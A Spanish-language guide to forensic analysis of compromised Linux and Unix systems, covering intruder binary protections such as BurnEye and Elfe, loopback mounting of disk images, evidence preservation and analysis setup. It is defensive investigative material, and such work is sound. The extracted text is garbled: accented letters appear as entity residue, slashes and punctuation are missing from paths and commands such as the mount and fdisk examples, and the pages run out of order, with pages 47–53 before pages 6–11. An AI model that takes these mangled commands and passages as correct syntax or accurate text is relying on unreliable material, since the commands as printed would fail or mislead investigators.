Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

Linux tambieacuten tiene soporte para dispositivos loopback que permiten montar un sistema de ficheros dentro delfichero Este meacutetodo se utiliza dentro de los discos arrancables CD-ROMs auto-ejecutables sistemas de ficherocifrados para laptops etc Para maacutes informacioacuten podemos leer siguiente documentacioacuten de losetup(8) mount(8) [30]

Los dispositivos loop en las versiones anteriores de GNULinux eran 8 por defecto y se utilizaban de forma indirectapor el comando mount mientras que actualmente son 16 Estos dispositivos se encuentran en el directorio dev juntocon el resto de dispositivos

48

[staticlowershaftactivalink dev]$ ls -l devloopbrw-rw---- 1 root root 7 0 Apr 11 1625 devloop0brw-rw---- 1 root root 7 1 Apr 11 1625 devloop1brw-rw---- 1 root root 7 10 Apr 11 1625 devloop10brw-rw---- 1 root root 7 11 Apr 11 1625 devloop11brw-rw---- 1 root root 7 12 Apr 11 1625 devloop12brw-rw---- 1 root root 7 13 Apr 11 1625 devloop13brw-rw---- 1 root root 7 14 Apr 11 1625 devloop14brw-rw---- 1 root root 7 15 Apr 11 1625 devloop15brw-rw---- 1 root root 7 2 Apr 11 1625 devloop2brw-rw---- 1 root root 7 3 Apr 11 1625 devloop3brw-rw---- 1 root root 7 4 Apr 11 1625 devloop4brw-rw---- 1 root root 7 5 Apr 11 1625 devloop5brw-rw---- 1 root root 7 6 Apr 11 1625 devloop6brw-rw---- 1 root root 7 7 Apr 11 1625 devloop7brw-rw---- 1 root root 7 8 Apr 11 1625 devloop8brw-rw---- 1 root root 7 9 Apr 11 1625 devloop9

Combinar dos utilidades como dd y mount es maacutes faacutecil de lo que puede pensar Puede hacer una prueba copiandoimaacutegenes de cada particioacuten con dd del sistema de ficheros de la viacutectima los copia a su sistema y les monta utilizandodispositivos loopback Para nuestro ejemplo las particiones fueron obtenidos de un disco duro interno de una SunSPARC ejecutando Solaris 25

ls -l c0t3d0-rw-r--r-- 1 root root 189399040 Sep 14 1244 c0t3d0s0dd-rw-r--r-- 1 root root 171991040 Sep 14 1315 c0t3d0s1dd-rw-r--r-- 1 root root 220733440 Sep 14 1257 c0t3d0s3dd-rw-r--r-- 1 root root 269475840 Sep 14 1251 c0t3d0s6dd-rw-r--r-- 1 root root 515973120 Sep 14 1348 c0t3d0s7dd

Puede montar la imagen en modo solo lectura especificando que es un sistema de ficheros UFS de tipo sun y quedeseamos utilizar un dispositivo loopback de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s0dd t

Desde aquiacute podemos determinar donde apuntaban el resto de las particiones buscando el dispositivo en el sistema deviacutectima etcvfstab (montado en este ejemplo bajo t)

grep c0t3d0 tetcvfstab

49

devdskc0t3d0s1 - - swap - no -devdskc0t3d0s0 devrdskc0t3d0s0 ufs 1 no -devdskc0t3d0s6 devrdskc0t3d0s6 usr ufs 1 no -devdskc0t3d0s3 devrdskc0t3d0s3 var ufs 1 no -devdskc0t3d0s7 devrdskc0t3d0s7 exporthome ufs 2 yes -

Ahora podemos montar otras particiones de siguiente manera

mount -o roloopufstype=sun -t ufs c0t3d0s3dd tvar mount -o roloopufstype=sun -t ufs c0t3d0s6dd tusr mount -o roloopufstype=sun -t ufs c0t3d0s7dd texporthome

Ahora el contenido del sistema de ficheros es visible a las herramientas forenses de TCT como por ejemplo grave-robber

dfFilesystem 1k-blocks Used Available Use Mounted on

xc0t3d0s0dd 173791 68725 87696 44 txc0t3d0s3dd 202423 26148 156035 14 tusrxc0t3d0s6dd 246743 197592 24481 89 tvarxc0t3d0s7dd 473031 111506 314225 26 texporthome

mount

xc0t3d0s0dd on t type ufs (roloop=devloop0ufstype=sun)xc0t3d0s3dd on tusr type ufs (roloop=devloop1ufstype=sun)xc0t3d0s6dd on tvar type ufs (roloop=devloop2ufstype=sun)xc0t3d0s7dd on texporthome type ufs (roloop=devloop3ufstype=sun)

121 Conclusiones

Con el transcurso de tiempo las empresas que manejan la informacioacuten privilegiada han aprendido que para asegurarla integridad privacidad de informacioacuten no se debe ahorrar en sistemas de seguridad planes de contingencia Losadministradores sin previa experiencia de anaacutelisis forense no deben precipitarse a la hora de reestablecer el servidorparcheandolo rapidamente para que esteacute operativo lo antes posible ya que soacutelo un anaacutelisis forense exhaustivo puededeterminar el alcanze del incidente y responder a todas las preguntas que surgen tras sufrir un ataque

50

13 Referencias

1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 6: Análisis Forense de Sistemas GNU/Linux, Unix

Equipo Moacutevil - Otro sistema de anaacutelisis es un nuevo portaacutetil El buen meacutetodo de llevar el laboratorio hasta elsistema accidentado es un portaacutetil con tarjeta eth 10100 disco duro de maacutes de 18-20 Gb - suficiente espacioque permitiraacute almacenar toda la informacioacuten de imaacutegenes del sistema de ficheros (estas imaacutegenes deberiacutean luegoalmacenarse en cintas) para ser analizadas visualizar los resultados craquear las contrasentildeas crypt() del intruso quepuede posiblemente encontrar y una mochila

Un cable 10Base-T normal y uno cruzado permitiraacute conectarse con un hub switch o directamente al cadaacutever ytodaviacutea utilizar la red para comunicarse con el sistema viacutectima sobre una mini-red aislada de 2 estaciones de trabajoPara ello necesitaraacute establecer una ruta estaacutetica en la tabla de rutas o configurar reglas de bridging (seraacute maacutes faacutecil sise desconecta la maacutequina hackeada del resto de la red)

Un equipo de anaacutelisis funcionando bajo GNULinux seraacute suficiente para analizar sistemas de ficheros diferentes perosoportados como por ejemplo Sun UFS Se podraacute simplemente montar el sistema de fichero emitiendo el comandomount con la opcioacuten particular (ver paacutegina man del mount)

Ejemplo

[rootquestactivalinkcom] mount -r -t ufs -o ufstype=sun devhdd2 mnt

Otra ventaja de GNULinux para investigadores forenses es la capacidad del interfaz loopback que permite montarun fichero que contiene una imagen del disco (obtenida con dd) dentro del sistema de ficheros de la estacioacuten de anaacutelisis(Ver el apeacutendice B para detalles)

2 Objetivos TaacutecticosEstrateacutegicosEl objetivo principal de un investigador forense es identificar a todos los sistemas controlados por el intrusocomprender los meacutetodos utilizados para acceder a estos sistemas los objetivos del intruso y la actividad que hadesempentildeado durante su estancia dentro del sistema comprometido La informacioacuten obtenida tiene que ser compartidacon el resto de los miembros del equipo forense a fin de evitar la peacuterdida de informacioacuten Tambieacuten es el objetivo delinvestigador la proteccioacuten del estado de sitio contra modificaciones para evitar peacuterdidas de informacioacuten (pruebas)

Posible persecucioacuten - es un objetivo secundario pero como he dicho anteriormente para un investigador forense sutrabajo primario es preservar lo maacutes iacutentegramente posible las evidencias del crimen en un estado iacutentegro Eso significaponer el sistema fuera de servicio cuando todo el mundo estaacute presionando para volver a ponerlo on-line

Si el sistema por parte del administrador fue forzado a seguir funcionando eliminando las posibles vulnerabilidadeso cualquier otra supuesta viacutea de acceso al servidor la investigacioacuten forense no podraacute seguir el rumbo correcto ya que

1Se eliminariacutea cualquier posibilidad de persecucioacuten del intruso en un futuro ya que se modifica la escena delcrimen y no se podriacutea calcular los dantildeos estimados con un grado elevado de certeza

6

2Hay muchas posibilidades de que se le paso algo importante por alto al administrador y el intruso (o intrusos)siguen teniendo acceso al sistema Por lo tanto es mejor sufrir un downtime de red mientras que se realiza elanaacutelisis forense del sistema

Se tiene que establecer una prioridad entre

1Funcionamiento inmediato teniendo presente que las huellas dejadas por ellos intrusos pueden haberse elimi-nado por descuido del administrador y su equipo y que el servidor puede seguir teniendo puertas traseras bienocultas Esta opcioacuten permite estar operativo en poco tiempo

2 Investigacioacuten forense detallada que permite conseguir los objetivos mencionados en la seccioacuten 1a del capiacutetuloIntroduccioacuten asegurarse 100 de que el equipo estaacute seguro y recoger pruebas suficientes para poder iniciar eltraacutemite legal Esta opcioacuten supone un mayor tiempo de permanencia off-line si no existen planes de contingenciay procedimientos para la recuperacioacuten del servicio

Asumiendo que el anaacutelisis es una prioridad iquestcuaacuteles son los siguientes pasos

3 Congelacioacuten de la Escena del CrimenUna vez que el Administrador del sistema tenga sospechas de que su sistema haya sido violado y que no existanpruebas que indiquen lo contrario como por ejemplo resultados de chequeos de integridad realizados por poralguna herramienta como Tripwire o AIDE (Advanced Intrusion Detection Environment) tiene que considerar queefectivamente el sistema ha sido violado Desde aqueacutel momento es necesario tener maacuteximo cuidado para evitar quese produzca cualquier alteracioacuten de la escena del crimen

Hay varios tipos de pruebas que oculta el sistema con diferentes niveles de volatilidad en lugares como registros delprocesador estructura de datos en la memoria swap estructuras de datos de red contadores procesos de usuario enmemoria y stacks cache del file system el file system y etc

Seraacute muy difiacutecil o casi imposible de reunir toda esa informacioacuten en el preciso momento que el intruso estaacute operandopor lo tanto necesitamos prescindir de ella y reunir aquella informacioacuten que se recoge con mayor facilidad antes dellegada de un especialista forense que determinaraacute el meacutetodo de entrada actividad de intrusos identidad y origende intrusos duracioacuten de compromiso posiblemente lo bastante para localizarles) En otras palabras iquestCoacutemo iquestQueacuteiquestQuieacuten iquestDe doacutende iquestCuando

La opcioacuten maacutes faacutecil es de evitar que las cosas no cambien - cerrar el sistema o suspender su funcionamiento

Normalmente los sistemas Unix se cierran con el comando shutdown Eso se hace para asegurarse que todos losservicios han finalizado de forma limpia todos los ficheros cache y buffers de sistemas estaacuten flusheados y los usuariosestaacuten notificados Este procedimiento es perfecto para sistemas intactos pero en un sistema afectado esa accioacutenlo maacutes seguro que borre alguna informacioacuten de intereacutes Hubo casos cuando los intrusos programaban sistemas para

7

eliminar algunos ficheros en la maacutequina cuando el interfaz de red se deshabilitase ( es decir cuando el cable deconexioacuten haya sido desconectado) o cuando el procedimiento de un shutdown normal haya sido activado

Para prevenir esas modificaciones del sistema de ficheros es mejor sacar el cable de electricidad del enchufe (Siacute siacutelo has leiacutedo bien) Hay que estar informados que puede ser que alguna informacioacuten en la memoria o informacioacuten delcache no guardada en el disco puede ser eliminada como estado de red procesos ejecutaacutendose en la memoria accesosa memoria kernel contenido de registros swap etc

Para ello antes de sacar el cable del enchufe puede hacer lo siguiente ejecutar varios comandos antes de apagar deforma bruta el sistema Se debe hacerlo en una sesioacuten script (ver man del comando script)

Importante Si el administrador no estaacute seguro de lo que estaacute haciendo se debe simplemente desenchufar el sistemay ponerse en contacto con un investigador forense especializado ya que las pruebas pueden ser dantildeadas con muchafacilidad

En caso de que el administrador esteacute seguro de si mismo puede utilizar algunas de las herramientas que vienen acontinuacioacuten siempre con cuidado

bull last w who - Obtener el listado de usuarios actuales en el sistema logins anteriores etc

bull ls - Obtener el listado largo (ls -lat) de ficheros en lugares sospechosos los home directories directorio devdirectorio root etc

bull ps - Obtener el listado largo de todos los procesos incluidos aquellos sin ttys (eg ps auxwww y ps elfwww --antildeadir maacutes flags w si el listado se acorta)

bull lsof - Obtener un listado completo de descriptores de ficheros que puede mostrar algunos backdoors snifferseggdrop IRC bots redireccionadores de puertos para VNC etc(Ojo con cwd cual es el directorio local en el cualel programa ha sido ejecutado)

bull find - Identificar todos ficheros corrientes directorios modificados desde la fecha de uacuteltimo acceso no autorizadoo que pertenecen al usuario desde cuya cuenta se sospecha que fue originado el ataque

Importante La utilidad find modifica el i-node last accessed con el timestamp actual entonces no debe utilizaresta utilidad para barrer el sistema de ficheros si todaviacutea quiere saber cuales son los ficheros accedidos por elatacante si el sistema de ficheros estaacute montado en modo lectura y escritura

bull ltrace strace truss (SunOS 5) - Ver uacuteltimos accesos a ficheros de configuracioacuten de rootkit ejemplo Examinarel fichero binls trucado

8

Ejemplo

[sonnethoractivalinkcom] truss -t open lsopen(devzero O_RDONLY) = 3open(usrliblibcso1 O_RDONLY) = 4open(usrliblibdlso1 O_RDONLY) = 4open(usrplatformSUNWSun_4_75liblibc_psrso1 O_RDONLY) Err2 ENOENT

---gt open(devptyr O_RDONLY) Err2 ENOENTopen( O_RDONLY|O_NDELAY) = 3[list of files]

Ver paacuteginas man de cada una de las utilidades para conocer sus funciones

4 Problemas con Recoleccioacuten de InformacioacutenUn sistema informaacutetico no soacutelo puede ser instruido para auto-destruirse una vez se produzcan las condiciones deriesgo consideradas por el intruso sino tambieacuten realizar tareas programadas de eliminacioacuten sustitucioacuten de ficheros yejecuciones de aplicaciones determinadas

Es muy frecuente encontrar los comandos de sistema moacutedulos de kernel cargables (LKM) libreriacuteas dinaacutemicas y etcmodificados o reemplazados por la voluntad del intruso Bajo estas circunstancias eso puede obligar a que el sistemaoperativo mintiese Examinando en este caso el estado del servidor todo aparenta estar en orden pero en realidadel sistema estaacute totalmente manipulado con cuatro cinco diez diferentes back-doors para permitir al hacker el faacutecilacceso al servidor en un futuro teniendo instalado un root kit [10]

Si no hay seguridad de que las utilidades comunes esteacuten mostrando la verdadera situacioacuten se debe utilizar aplicacionesalternativas Los moacutedulos de kernel cargables (LKM) o libreriacuteas dinaacutemicas pueden estar alteradas para proporcionarinformacioacuten falsa En estos casos se debe utilizar binarios compilados de forma estaacutetica desde un toolkit como FireBiatchux o descargados de la web de incident-responceorg

Se debe cuestionar permanentemente la informacioacuten que el servidor estaacute proporcionando Seriacutea aconsejable y muchomaacutes faacutecil y seguro si simplemente el disco duro fuese extraiacutedo de la maacutequina afectada y fuese montado en modo soacutelolectura en una estacioacuten de anaacutelisis similar al servidor atacado

Se debe tambieacuten considerar montar el disco como noexec y nodev para asegurarse que no pueda ser ejecutada ningunaaplicacioacuten desde el disco duro comprometido y que se ignoren los ficheros de dispositivos en el directorio dev Esmuy aconsejable estudiar bien la paacutegina man de la utilidad mount

Ejemplo

9

mount -o ronoexecnodev devhda1 t

Si no disponemos de un equipo dedicado para el anaacutelisis ni decidimos llevarlo por la viacutea oficial pero tenemos elintereacutes de conocer los detalles del ataque y el equipo tiene un CD-ROM existen herramientas forenses que permitenel estudio post-mortem en situ Un buen ejemplo de herramienta de este tipo es Fire-Biatchux [11] que permite tenerde forma instantaacutenea un entorno de anaacutelisis seguro proporcionando copias iacutentegras de todos los binarios necesariosde GNULinux y Solaris para llevar acabo la investigacioacuten La utilizacioacuten de esa teacutecnica de investigacioacuten forense saledel entorno de este documento y seraacute cubierta en los papers futuros

5 Almacenamiento de PruebasUna vez el disco ha sido sacado de la maacutequina debe ser almacenado de forma segura para poder ser utilizado comoprueba a posteriori en un juicio Si no se almacena de forma correcta no seraacute la primera vez que la investigacioacuten nopueda seguir o las pruebas se declaren nulas por parte de un juez o jurado por contaminacioacuten o tratamiento indebido

Es necesario tomar notas de lo que se hace con el disco duro y a que hora almacenaacutendolo en una ubicacioacuten seguracomo por ejemplo una caja fuerte Es recomendable que siempre que se trabaje con el medio original esteacute acompantildeadopor un colega para que conste a los efectos legales y su testimonio pueda ser confirmado por alguien con un nivel deconocimientos similar

Las copias deben ser hechas bit-por-bit es decir seraacute necesario hacer imaacutegenes del disco La investigacioacuten debe serllevada sobre una copia y nunca sobre el disco original Se debe hacer tres copias del disco duro original Sobre todaslas copias y original se debe llevar acabo una verificacioacuten criptograacutefica - un checksum MD5

Creacioacuten de imagenes es un meacutetodo de hacer copias exactas de particiones de disco duro La utilidad que nos permitellevarlo acabo es dd (ver la paacutegina man de la utilidad y el artiacuteculo de Thomas Rude [12]) Utilidades como tar y cpioestaacuten bien si la portabilidad es lo maacutes importante y dump y restore estaacuten perfectas para recuperar ficheros individualesen casos de que la consistencia de informacioacuten es lo maacutes importante

Por supuesto eacutestas utilidades tienen su sitio merecido pero a lo que se refiere al anaacutelisis forense lo maacutes importantees conservacioacuten de informacioacuten Las utilidades descritas anteriormente no le permiten conservar el espacio slack alfinal de los ficheros ni permiten conservar que es lo que exactamente conteniacutean los bloques de los ficheros eliminadosYa que los intrusos frecuentemente almacenan ficheros en el espacio slack de los archivos y borran de forma seguralos archivos logs una vez que hayan penetrado en el sistema para ocultar sus huellas

Todas las acciones realizadas durante el anaacutelisis deben ser documentadas detenidamente Es faacutecil hacerlo si se utilizael programa script el cual toma nota de toda la entrada y salida del shell Script marca la hora de iniciofin del log deeventos y usa el comando date varias veces durante la sesioacuten para guardar los tiempos intermedios

6 Preparacioacuten para el Anaacutelisis

10

Esteacute analizando el sistema con las herramientas forenses especiacuteficas o no se debe de seguir los mismos pasos baacutesicossiempre para prepararse para el anaacutelisis completo del sistema

bull En algunos casos es necesario fotografiar el equipo afectado antes de mover cualquier detalle del mismo Esopuede ser necesario como prueba del incidente en casos que posiblemente puedan acabar en una sala de juicio Enotros casos seraacute necesario documentar los detalles de todos los componentes del sistema como valores ID de losdispositivos SCSI por ejemplo y etc

bull Empezar haciendo apuntes detallados en el cuaderno Tener bien detallados apuntes con la fecha y hora del inicioy fin de cualquier trabajo realizado seraacute muy uacutetil durante y al final del anaacutelisis Es importante que todos loshechos pertinentes al caso durante la preparacioacuten recuperacioacuten y anaacutelisis de las pruebas sobre un ataque esteacutenperfectamente documentados Estas notas serviraacuten como base para poder desarrollar un informe detallado deincidencia que se debe preparar una vez terminado el anaacutelisis Este documento deberaacute servir como una prueba delincidente o ataque Siempre que se realiza cualquier apunte al cuaderno el asistente debe tener un

completo conocimiento y entendimiento de lo que ha sido apuntado

bull Antes de apagar el sistema seraacute uacutetil recoger algunos ejemplos de aquella informacioacuten que posiblemente no hasido cambiada por los intrusos como la organizacioacuten de sistema de ficheros de etcfstab el nombre del hostsu direccioacuten IP del fichero etchosts y informacioacuten de algunos dispositivos desde los ficheros varlogdmesg oficheros de log de sistema varlogmessages Esa informacioacuten normalmente va a caber en un disco 144 de formacomprimida con targz Si no quiere o no puede extraer esa informacioacuten en este paso en los siguientes pasos esoseraacute maacutes difiacutecil

Ejemplo

cd tar -cvzf devfd0 etchosts etcfstab varlogdmesg varlogmessagesetchostsetcfstabvarlogdmesgvarlogmessages

11

bull iexclHaga 3 imaacutegenes del disco duro entero y trabaje con copias y no con el original En el peor caso que tengaque trabajar con el disco original correriacutea el riesgo de hacer una pequentildea equivocacioacuten que eliminariacutea las huellasde forma parcial o total El original debe ser almacenado en una caja fuerte para estar totalmente seguros que elcontenido del dispositivo no esteacute alterado o eliminado Para ello generariacuteamos verificaciones de integridad MD5las imprimiremos en etiquetas y eacutestas las pegaremos en el original y en las copias La etiqueta del original debecontener la fecha y hora de extraccioacuten del disco del sistema comprometido y la fecha y hora de almacenamientodel disco en la caja fuerte Las etiquetas de las 3 copias deben tener letras de alfabeto griego (como ejemplo) Acontinuacioacuten estaacuten detalladas todas estas tareas

a El disco original debe ser conectado al controladora IDE sin utilizar y el sistema debe ser arrancada despueacutes Sedebe tener mucho cuidado para no dantildear el disco en caso de conflictos master-slave en el controlador IDE etc Espor ello que insistiacutea anteriormente en tener 2 controladoras IDE para evitar este tipo de problemas es decir que esmuy conveniente tener un uacutenico disco duro conectado a la segunda interfaz IDE (si tiene conectado un CD-ROM enla segunda interfaz de IDE se debe quitar de forma temporal)

Puede ser que sea necesario modificar las opciones de deteccioacuten automaacutetica de la geometriacutea de discos en los ajustesBIOS (Los pasos deben ser apuntados siempre para poder volver al estado anterior si se comete cualquier error)

b Las particiones del disco duro deben ser identificadas con el programa fdisk Nunca se debe utilizar fdisk en modointeractivo ya que se arriesga que la tabla de particiones existente o las etiquetas se modifiquen (fdisk es un programai386 GNULinux modelado a partir de su equivalente de DOS)

Ejemplo

fdisk -l devhdd

Disk devhdd 255 heads 63 sectors 1575 cylindersUnits = cylinders of 16065 512 bytes

Device Boot Start End Blocks Id Systemdevhdd1 1 869 6980211 b Win95 FAT32devhdd2 870 1022 1228972+ 83 Linuxdevhdd3 1023 1035 104422+ 82 Linux swapdevhdd4 1036 1575 4337550 83 Linux

